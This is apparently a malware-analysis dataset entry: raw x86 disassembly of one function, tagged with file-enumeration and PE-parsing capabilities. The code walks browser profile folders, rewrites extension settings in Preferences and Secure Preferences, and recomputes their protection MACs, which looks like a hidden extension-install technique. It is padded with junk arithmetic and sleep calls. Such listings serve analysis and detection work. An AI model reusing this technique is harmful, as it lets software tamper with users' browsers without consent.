Function at 0x45be5d
Capabilities:
Enumerate files on windows
Parse pe header

Disassembly:
push 0x4f8
mov eax, 0x4e60b8
call fcn.004c2aff
mov edi, ecx
mov dword [ebp - 0x4c0], edi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x498], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
mov dword [ebp - 0x4e4], ecx
push ecx
mov esi, ebx
mov ecx, edi
mov dword [ebp - 0x484], edi
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x488], esi
call fcn.004670b2
push 0x5007c8
push dword [ebp - 0x470]
lea eax, [ebp - 0x4a0]
push eax
call fcn.00401e6a
add esp, 0xc
lea ecx, [ebp - 0x45c]
push ecx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ecx, dword [ebp - 0x4a0]
add ecx, 0xfffffff0
mov dword [ebp - 0x464], eax
call fcn.00404fef
call fcn.0045997a
test al, al
jne 0x45bf21
mov ecx, ebx
lea edi, [ebp - 0x84]
mov edx, ebx
mov byte [edi + edx], bl
inc edx
cmp edx, 6
jl 0x45bf09
inc ecx
add edi, 6
cmp ecx, 0x10
jl 0x45bf07
mov edi, dword [ebp - 0x4c0]
cmp dword [ebp - 0x464], 0xffffffff
mov dword [ebp - 0x4b8], 3
je 0x45c26e
test byte [ebp - 0x45c], 0x10
je 0x45bfaa
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.00401824
push 0x4f75b4
or esi, 1
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x488], esi
call fcn.00459ee3
pop ecx
pop ecx
test al, al
je 0x45bfaa
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x4a8]
call fcn.00401824
push 0x5007d0
or esi, 2
push eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x488], esi
call fcn.00459ee3
pop ecx
pop ecx
mov byte [ebp - 0x45d], 1
test al, al
jne 0x45bfb0
mov byte [ebp - 0x45d], bl
mov eax, dword [ebp - 0x488]
test al, 2
je 0x45bfd7
mov ecx, dword [ebp - 0x4a8]
and eax, 0xfffffffd
lea ecx, [ecx - 0x10]
mov dword [ebp - 0x488], eax
call fcn.00404fef
mov eax, dword [ebp - 0x488]
or dword [ebp - 4], 0xffffffff
test al, 1
je 0x45bff6
mov ecx, dword [ebp - 0x4a4]
and eax, 0xfffffffe
lea ecx, [ecx - 0x10]
mov dword [ebp - 0x488], eax
call fcn.00404fef
cmp byte [ebp - 0x45d], 0
je 0x45c24d
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00401824
mov esi, eax
push 0x4f6850
push dword [ebp - 0x470]
lea eax, [ebp - 0x504]
push eax
mov dword [ebp - 4], 2
call fcn.00401e6a
push esi
push eax
lea eax, [ebp - 0x490]
push eax
mov byte [ebp - 4], 3
call fcn.00401e15
add esp, 0x18
mov ecx, dword [ebp - 0x504]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4f8]
mov byte [ebp - 4], 6
lea ecx, [ecx - 0x10]
call fcn.00404fef
push dword [ebp - 0x498]
lea eax, [ebp - 0x49c]
push eax
mov ecx, edi
call fcn.00460ca4
push dword [ebp - 0x49c]
lea ecx, [edi + 0x7c]
push str.__BROWSER_NAME__
mov byte [ebp - 4], 7
call fcn.0040500b
push str.binstaller.js
lea ecx, [ebp - 0x4bc]
call fcn.00401824
push str.jsli
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 8
call fcn.00401824
push 0x5401f0
lea ecx, [ebp - 0x494]
mov byte [ebp - 4], 9
call fcn.00401718
lea eax, [ebp - 0x490]
push eax
lea eax, [ebp - 0x494]
push eax
lea eax, [ebp - 0x4fc]
push eax
mov byte [ebp - 4], 0xa
call fcn.0045107a
lea ecx, [ebp - 0x468]
push ecx
push eax
lea eax, [ebp - 0x500]
push eax
mov byte [ebp - 4], 0xb
call fcn.0045107a
lea ecx, [ebp - 0x4bc]
push ecx
push eax
lea eax, [ebp - 0x478]
push eax
mov byte [ebp - 4], 0xc
call fcn.0045107a
add esp, 0x24
push dword [ebp + 0x1c]
mov ecx, edi
push eax
mov byte [ebp - 4], 0xd
call fcn.0040580f
mov ecx, dword [ebp - 0x478]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x500]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4fc]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x494]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4bc]
mov byte [ebp - 4], 7
lea ecx, [ecx - 0x10]
call fcn.00404fef
push 0x5401f0
lea ecx, [ebp - 0x48c]
call fcn.00401718
push 0x500850
lea eax, [ebp - 0x48c]
push eax
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0xe
call fcn.00401e6a
lea ecx, [ebp - 0x49c]
push ecx
push eax
lea eax, [ebp - 0x480]
push eax
mov byte [ebp - 4], 0xf
call fcn.00401e15
push 0x500850
push eax
lea eax, [ebp - 0x474]
push eax
mov byte [ebp - 4], 0x10
call fcn.00401e6a
add esp, 0x24
push str.___BROWSER_NAME___
push dword [eax]
lea ecx, [edi + 0x7c]
mov byte [ebp - 4], 0x11
call fcn.0040500b
mov ecx, dword [ebp - 0x474]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x48c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x49c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x490]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.00404fef
lea eax, [ebp - 0x45c]
push eax
push dword [ebp - 0x464]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov esi, dword [ebp - 0x488]
test eax, eax
jne 0x45bf38
mov dword [ebp - 0xf8], 0xf
mov dword [ebp - 0xfc], ebx
mov byte [ebp - 0x10c], bl
lea eax, [ebp - 0x10c]
push eax
mov dword [ebp - 4], 0x12
call fcn.0046a8ae
pop ecx
lea ecx, [ebp - 0x19c]
call fcn.00459de1
lea eax, [ebp - 0x10c]
push eax
push dword [0x53bb10]
lea ecx, [ebp - 0x19c]
push 0x53bad0
mov byte [ebp - 4], 0x13
call fcn.0046b6e7
lea ecx, [ebp - 0x20c]
call fcn.00451642
push ebx
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x14
call fcn.004538eb
push ebx
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x15
call fcn.004538eb
mov byte [ebp - 4], 0x16
mov byte [ebp - 0x45d], 1
mov dword [ebp - 0x494], 3
mov dword [ebp - 0x49c], 0x41
mov dword [ebp - 0x4a4], ebx
mov dword [ebp - 0x4a0], ebx
mov ebx, dword [ebp - 0x498]
lea eax, [ebp - 0x4a4]
push eax
push dword [ebx]
call fcn.00409420
lea eax, [ebp - 0x4a0]
push eax
mov eax, dword [ebp - 0x4ac]
push dword [eax]
call fcn.00409420
lea eax, [ebp - 0x470]
push ebx
push eax
call fcn.00409678
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x468]
push eax
mov byte [ebp - 4], 0x17
call fcn.00409678
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x18
call fcn.0040bb7f
add esp, 0x24
push dword [eax]
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x19
call fcn.00403865
mov ecx, dword [ebp - 0x46c]
mov ebx, eax
neg ebx
lea ecx, [ecx - 0x10]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.00404fef
inc bl
je 0x45c481
push 0x500854
lea ecx, [ebp - 0x464]
call fcn.00401824
lea eax, [ebp - 0x464]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.00406042
mov ecx, dword [ebp - 0x464]
lea ecx, [ecx - 0x10]
call fcn.00404fef
call fcn.00467b05
test al, al
jne 0x45c431
movd xmm4, dword [0x541ad4]
movsd xmm3, qword [0x4f6bd0]
xorps xmm2, xmm2
cvtdq2pd xmm4, xmm4
addsd xmm2, xmm3
movapd xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x45c417
subsd xmm2, xmm3
divsd xmm3, qword [0x4f6bd8]
movapd xmm1, xmm2
mulsd xmm1, xmm2
movapd xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmmword [0x4f6bc8]
ja 0x45c3f9
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov eax, dword [ebp - 0x470]
lea ecx, [eax - 0x10]
call fcn.00404fef
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x15
call fcn.00453a94
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x14
call fcn.00453a94
lea ecx, [ebp - 0x20c]
call fcn.00401caf
push 0x12
pop ecx
mov byte [ebp - 4], cl
jmp 0x45d7e7
mov eax, dword [ebp - 0x470]
cmp dword [eax - 0xc], 0
jne 0x45c4c2
push str.read_preferences_for_enable_file_is_empty
lea ecx, [ebp - 0x464]
call fcn.00401824
lea eax, [ebp - 0x464]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x1b
call fcn.00406042
mov ecx, dword [ebp - 0x464]
lea ecx, [ecx - 0x10]
call fcn.00404fef
jmp 0x45c431
lea eax, [ebp - 0x480]
push eax
call fcn.0040bb7f
pop ecx
push dword [eax]
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 0x1c
call fcn.00403865
mov ecx, dword [ebp - 0x480]
mov ebx, eax
neg ebx
lea ecx, [ecx - 0x10]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.00404fef
inc bl
je 0x45c50e
lea ecx, [ebp - 0x468]
call fcn.004039a3
mov byte [ebp - 0x45d], 0
mov eax, dword [ebp - 0x470]
mov ecx, 0xa00000
cmp dword [eax - 0xc], ecx
jg 0x45d697
mov eax, dword [ebp - 0x468]
cmp dword [eax - 0xc], ecx
jg 0x45d697
lea eax, [ebp - 0x470]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0046c361
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x4d0]
push ecx
push eax
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x22
call fcn.004525d6
mov bl, al
neg bl
lea ecx, [ebp - 0xf4]
sbb bl, bl
mov byte [ebp - 4], 0x18
call fcn.0040102f
inc bl
je 0x45c69f
push str.parse_preferences_for_enable
lea ecx, [ebp - 0x464]
call fcn.00401824
lea eax, [ebp - 0x464]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x23
call fcn.00406042
mov ecx, dword [ebp - 0x464]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ebx, dword [ebp - 0x498]
and dword [ebp - 0x490], 0
lea eax, [ebp - 0x490]
push eax
push dword [ebx]
call fcn.00409420
cmp dword [ebp - 0x490], 0
pop ecx
pop ecx
je 0x45c431
push str.InstEnd
lea ecx, [ebp - 0x48c]
call fcn.004017e3
push str.parse_ch_pref_for_enable_file
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x24
call fcn.004017e3
push str.SOFTWARE_
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 0x25
call fcn.004017e3
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x480]
push eax
mov byte [ebp - 4], 0x26
call fcn.00401e15
lea ecx, [ebp - 0x48c]
push ecx
push eax
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x27
call fcn.00401e15
push dword [0x53b1d4]
mov byte [ebp - 4], 0x28
push eax
push ebx
lea eax, [ebp - 0x464]
push eax
call fcn.00416764
mov ecx, dword [ebp - 0x46c]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x474]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x464]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x48c]
jmp 0x45c4b5
mov eax, dword [ebp - 0x468]
cmp dword [eax - 0xc], 0
je 0x45c6f1
lea eax, [ebp - 0x468]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0046c361
pop ecx
pop ecx
push 1
lea ecx, [ebp - 0x4e0]
push ecx
or esi, 4
push eax
lea ecx, [ebp - 0x20c]
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x488], esi
call fcn.004525d6
test al, al
jne 0x45c6f1
mov byte [ebp - 0x45e], 1
xor ebx, ebx
jmp 0x45c6f9
xor ebx, ebx
mov byte [ebp - 0x45e], bl
mov eax, dword [ebp - 0x488]
mov dword [ebp - 4], 0x18
test al, 4
je 0x45c71e
and eax, 0xfffffffb
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0x488], eax
call fcn.0040102f
cmp byte [ebp - 0x45e], 0
je 0x45c804
push str.parse_preferences2_for_enable
lea ecx, [ebp - 0x464]
call fcn.00401824
lea eax, [ebp - 0x464]
push eax
mov ecx, edi
mov byte [ebp - 4], 0x2a
call fcn.00406042
mov ecx, dword [ebp - 0x464]
mov byte [ebp - 4], 0x18
lea ecx, [ecx - 0x10]
call fcn.00404fef
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0x468]
mov dword [ebp - 0x490], ebx
call fcn.00409420
cmp dword [ebp - 0x490], 0
pop ecx
pop ecx
je 0x45c431
push str.InstEnd
lea ecx, [ebp - 0x48c]
call fcn.004017e3
push str.parse_ch_pref2_for_enable_file
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x2b
call fcn.004017e3
push str.SOFTWARE_
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 0x2c
call fcn.004017e3
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x480]
push eax
mov byte [ebp - 4], 0x2d
call fcn.00401e15
lea ecx, [ebp - 0x48c]
push ecx
push eax
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x2e
call fcn.00401e15
push dword [0x53b1d4]
mov byte [ebp - 4], 0x2f
push eax
lea eax, [ebp - 0x468]
push eax
jmp 0x45c64d
mov esi, str.extensions
push esi
lea ecx, [ebp - 0x4d0]
call fcn.00453c35
mov ecx, eax
call fcn.0045496a
test al, al
je 0x45c843
push str.settings
push esi
lea ecx, [ebp - 0x4d0]
call fcn.00453c35
mov ecx, eax
call fcn.00453c35
mov ecx, eax
call fcn.0045496a
test al, al
jne 0x45c885
push esi
lea ecx, [ebp - 0x4e0]
call fcn.00453c35
mov ecx, eax
call fcn.0045496a
test al, al
je 0x45d4ff
push str.settings
push esi
lea ecx, [ebp - 0x4e0]
call fcn.00453c35
mov ecx, eax
call fcn.00453c35
mov ecx, eax
call fcn.0045496a
test al, al
je 0x45d4ff
lea eax, [ebp - 0x4d0]
push eax
mov ecx, edi
call fcn.0045ab98
mov dword [ebp - 0x48c], eax
lea eax, [ebp - 0x4e0]
push eax
mov ecx, edi
call fcn.0045ab98
mov dword [ebp - 0x478], eax
call fcn.0045997a
test al, al
jne 0x45c8ce
call fcn.004c2f1b
mov ecx, dword [0x541ad4]
cmp ecx, eax
jne 0x45c8d4
dec ecx
mov dword [0x541ad4], ecx
jmp 0x45c8d4
mov ecx, dword [0x541ad4]
cmp dword [ebp - 0x48c], 0
je 0x45d4a4
cmp dword [ebp - 0x478], 0
je 0x45d4a4
push ebx
lea ecx, [ebp - 0x4f4]
call fcn.004538eb
mov byte [ebp - 4], 0x36
call fcn.00467a37
test al, al
jne 0x45c924
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ecx, dword [0x541ad4]
test eax, eax
push 7
pop eax
cmove ecx, eax
mov dword [0x541ad4], ecx
lea eax, [ebp - 0x4f4]
push eax
push dword [ebp - 0x47c]
mov ecx, edi
push dword [ebp - 0x4e4]
call fcn.00464ad8
test al, al
jne 0x45c956
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 0x18
call fcn.00453a94
jmp 0x45d631
push str.extensions.settings.
lea ecx, [ebp - 0x13c]
call fcn.00401000
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
mov byte [ebp - 4], 0x37
call fcn.0046c361
pop ecx
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 0x38
call fcn.0040f56b
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x37
call fcn.0040102f
call fcn.00467a37
mov ecx, dword [0x543588]
test al, al
lea eax, [ebp - 0x19c]
push eax
lea eax, [ebp - 0x13c]
push eax
mov edx, 0xe0b9c76e
lea eax, [ebp - 0x4f4]
cmove ecx, edx
push eax
lea eax, [ebp - 0x154]
mov dword [0x543588], ecx
push eax
mov ecx, edi
call fcn.00460de1
mov ecx, dword [0x541ad4]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jns 0x45c9f6
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xd
jne 0x45ca18
mov edx, ebx
mov eax, dword [ebp + edx*4 - 0x388]
imul eax, eax, 0xe
add ecx, eax
inc edx
cmp edx, 0x17c
jb 0x45c9fd
mov dword [0x541ad4], ecx
push str.protection
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 0x45e], bl
mov byte [ebp - 4], 0x3a
call fcn.00453c35
push str.macs
mov ecx, eax
call fcn.00453c35
push esi
mov ecx, eax
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00454928
test al, al
je 0x45cb2a
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x24]
call fcn.0045381b
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
mov byte [ebp - 4], 0x3b
call fcn.0046c361
pop ecx
pop ecx
mov dword [ebp - 0x474], eax
push str.protection
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3c
call fcn.00453c35
push str.macs
mov ecx, eax
call fcn.00453c35
push esi
mov ecx, eax
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00453c35
push dword [ebp - 0x474]
mov ecx, eax
call fcn.00453b46
lea ecx, [ebp - 0x24]
push ecx
mov ecx, eax
call fcn.00453aee
lea ecx, [ebp - 0xf4]
call fcn.0040102f
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x3a
call fcn.00453a94
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0046c361
pop ecx
pop ecx
mov dword [ebp - 0x474], eax
push esi
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3d
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00453c35
push dword [ebp - 0x474]
jmp 0x45cb70
cmp byte [ebp - 0x45d], 0
jne 0x45cb9b
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0046c361
pop ecx
pop ecx
mov dword [ebp - 0x474], eax
push esi
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3e
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00453c35
push dword [ebp - 0x474]
mov ecx, eax
call fcn.00453b46
lea ecx, [ebp - 0x4f4]
push ecx
mov ecx, eax
call fcn.00453aee
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x3a
call fcn.0040102f
mov byte [ebp - 0x45e], 1
lea eax, [ebp - 0x4d0]
push eax
mov ecx, edi
call fcn.004658e9
jmp 0x45cbd5
cmp byte [ebp - 0x45e], 0
mov esi, dword [ebp - 0x498]
mov dword [ebp - 4], 0x39
mov byte [ebp - 4], 0x40
jne 0x45ccf6
lea eax, [ebp - 0x154]
push eax
lea ecx, [ebp - 0x11c]
call fcn.0045381b
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
mov byte [ebp - 4], 0x41
call fcn.0046c361
pop ecx
pop ecx
mov dword [ebp - 0x474], eax
push str.protection
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x42
call fcn.00453c35
push str.macs
mov ecx, eax
call fcn.00453c35
push str.extensions
mov ecx, eax
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00453c35
push dword [ebp - 0x474]
mov ecx, eax
call fcn.00453b46
lea ecx, [ebp - 0x11c]
push ecx
mov ecx, eax
call fcn.00453aee
lea ecx, [ebp - 0xf4]
call fcn.0040102f
lea ecx, [ebp - 0x11c]
mov byte [ebp - 4], 0x40
call fcn.00453a94
lea eax, [edi + 0xa8]
push eax
lea eax, [ebp - 0xf4]
push eax
call fcn.0046c361
pop ecx
pop ecx
mov dword [ebp - 0x474], eax
push str.extensions
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x43
call fcn.00453c35
push str.settings
mov ecx, eax
call fcn.00453c35
push dword [ebp - 0x474]
mov ecx, eax
call fcn.00453b46
lea ecx, [ebp - 0x4f4]
push ecx
mov ecx, eax
call fcn.00453aee
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x40
call fcn.0040102f
lea eax, [ebp - 0x4e0]
push eax
mov ecx, edi
call fcn.004658e9
jmp 0x45cd36
cmp dword [edi + 0xbc], 1
mov dword [ebp - 4], 0x39
jne 0x45cd54
lea eax, [ebp - 0x4d0]
push eax
mov ecx, edi
call fcn.0045a09a
lea eax, [ebp - 0x4bc]
push eax
push dword [esi]
mov dword [ebp - 0x4bc], ebx
mov dword [ebp - 0x4a8], ebx
call fcn.00409420
pop ecx
pop ecx
call fcn.00467cae
test al, al
jne 0x45cda3
mov eax, dword [0x541ad4]
push 0x64
cdq
pop ecx
idiv ecx
xor ecx, ecx
push 4
lea eax, [edx + 0x63]
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004c0e30
push eax
call fcn.004c1c8e
pop ecx
pop ecx
lea eax, [ebp - 0x4a8]
push eax
push dword [ebp - 0x468]
call fcn.00409420
mov eax, dword [ebp - 0x4bc]
pop ecx
pop ecx
cmp eax, dword [ebp - 0x4a4]
je 0x45ced0
mov eax, dword [ebp - 0x4a8]
cmp eax, dword [ebp - 0x4a0]
je 0x45ced0
mov ecx, dword [0x541ad4]
push 0x17
lea edx, [ecx + 2]
lea eax, [ecx + 1]
imul eax, edx
imul eax, ecx
cdq
pop esi
idiv esi
cmp edx, 0xd
jne 0x45ce55
mov esi, ebx
call fcn.004c2f1b
movd xmm0, eax
cvtdq2pd xmm0, xmm0
push 0x17
movsd qword [ebp + esi*8 - 0xdc], xmm0
inc esi
pop edx
cmp esi, edx
jb 0x45cdfa
mov ecx, ebx
push 0x16
pop eax
cmp ecx, eax
jge 0x45ce50
movsd xmm0, qword [ebp + eax*8 - 0xdc]
movsd xmm1, qword [ebp + eax*8 - 0xe4]
comisd xmm0, xmm1
jbe 0x45ce4b
movsd qword [ebp + eax*8 - 0xdc], xmm1
movsd qword [ebp + eax*8 - 0xe4], xmm0
dec eax
cmp eax, ecx
jg 0x45ce21
inc ecx
cmp ecx, edx
jl 0x45ce1a
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x154]
call fcn.0040102f
lea ecx, [ebp - 0x13c]
call fcn.0040102f
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 0x18
call fcn.00453a94
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x470]
mov byte [ebp - 4], 0x16
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x4b8]
mov esi, dword [ebp - 0x488]
mov eax, ecx
dec ecx
mov dword [ebp - 0x4b8], ecx
mov dword [ebp - 0x494], ecx
test eax, eax
jg 0x45c30e
mov esi, dword [ebp - 0x498]
jmp 0x45cf15
lea ecx, [ebp - 0x154]
call fcn.0040102f
lea ecx, [ebp - 0x13c]
call fcn.0040102f
lea ecx, [ebp - 0x4f4]
mov byte [ebp - 4], 0x18
call fcn.00453a94
mov ecx, dword [ebp - 0x468]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x470]
mov byte [ebp - 4], 0x16
lea ecx, [ecx - 0x10]
call fcn.00404fef
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0x4d0]
call fcn.00454e25
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x45
jb 0x45cf33
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4b4]
call fcn.00459bd3
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 0x47
call fcn.0040102f
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x4e0]
call fcn.00454e25
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x48
jb 0x45cf6c
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00459bd3
lea ecx, [ebp - 0x124]
mov byte [ebp - 4], 0x4a
call fcn.0040102f
mov eax, dword [ebp - 0x4b4]
cmp dword [eax - 0xc], 0xa00000
jle 0x45d3cf
mov eax, dword [0x541ad4]
imul eax, eax
push 0x12
cdq
pop ecx
idiv ecx
cmp edx, 5
jne 0x45cfe6
mov esi, str.moftgui6nrQ1y
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x24]
push eax
movsw word es:[edi], word [esi]
call fcn.004c22f0
xor ecx, ecx
push 4
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004c0e30
push eax
call fcn.004c1c8e
mov edi, dword [ebp - 0x4c0]
add esp, 0xc
push str.write_to_preferences_for_enable_too_big_
lea ecx, [ebp - 0x46c]
call fcn.00401824
mov ecx, eax
mov eax, dword [ebp - 0x4b4]
mov byte [ebp - 4], 0x4b
push dword [eax - 0xc]
lea eax, [ebp - 0x47c]
push ecx
push eax
call fcn.004511f4
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x4c
call fcn.00406042
mov ecx, dword [ebp - 0x47c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov esi, dword [ebp - 0x498]
lea eax, [ebp - 0x484]
push eax
push dword [esi]
mov dword [ebp - 0x484], ebx
call fcn.00409420
mov eax, dword [0x541ad4]
pop ecx
pop ecx
lea ecx, [eax + 1]
imul eax, ecx
push 0xe
cdq
pop ecx
idiv ecx
cmp edx, 0xa
jne 0x45d07e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x541ad4], eax
cmp dword [ebp - 0x484], 0
je 0x45d157
push str.InstEnd
lea ecx, [ebp - 0x490]
call fcn.004017e3
push str.enable_extension_file_result_size
lea ecx, [ebp - 0x464]
mov byte [ebp - 4], 0x4d
call fcn.004017e3
push str.SOFTWARE_
lea ecx, [ebp - 0x480]
mov byte [ebp - 4], 0x4e
call fcn.004017e3
mov ecx, eax
lea eax, [edi + 0x1c]
push eax
push ecx
lea eax, [ebp - 0x46c]
push eax
mov byte [ebp - 4], 0x4f
call fcn.00401e15
lea ecx, [ebp - 0x490]
push ecx
push eax
lea eax, [ebp - 0x47c]
push eax
mov byte [ebp - 4], 0x50
call fcn.00401e15
push dword [0x53b1d4]
mov byte [ebp - 4], 0x51
push eax
lea eax, [ebp - 0x464]
push esi
push eax
call fcn.00416764
mov ecx, dword [ebp - 0x47c]
add esp, 0x28
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x480]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x464]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x490]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov eax, dword [ebp - 0x4b0]
cmp dword [eax - 0xc], 0xa00000
jle 0x45d42f
push str.write_to_secure_preferences_for_enable_too_big_
lea ecx, [ebp - 0x46c]
call fcn.00401824
mov ecx, eax
mov eax, dword [ebp - 0x4b0]
mov byte [ebp - 4], 0x53
push dword [eax - 0xc]
lea eax, [ebp - 0x47c]
push ecx
push eax
call fcn.004511f4
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 0x54
call fcn.00406042
mov ecx, dword [ebp - 0x47c]
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov ecx, dword [ebp - 0x46c]
mov byte [ebp - 4], 0x4a
lea ecx, [ecx - 0x10]
call fcn.00404fef
mov dword [ebp - 0x4a0], ebx
mov ebx, dword [ebp - 0x4ac]
lea eax, [ebp - 0x4a0]
push eax
push dword [ebx]
call fcn.00409420
cmp dword [ebp - 0x4a0], 0
pop ecx
pop ecx
je 0x45d2ba
push str.InstEnd
lea ecx, [ebp - 0x4a4]
call fcn.004017e3
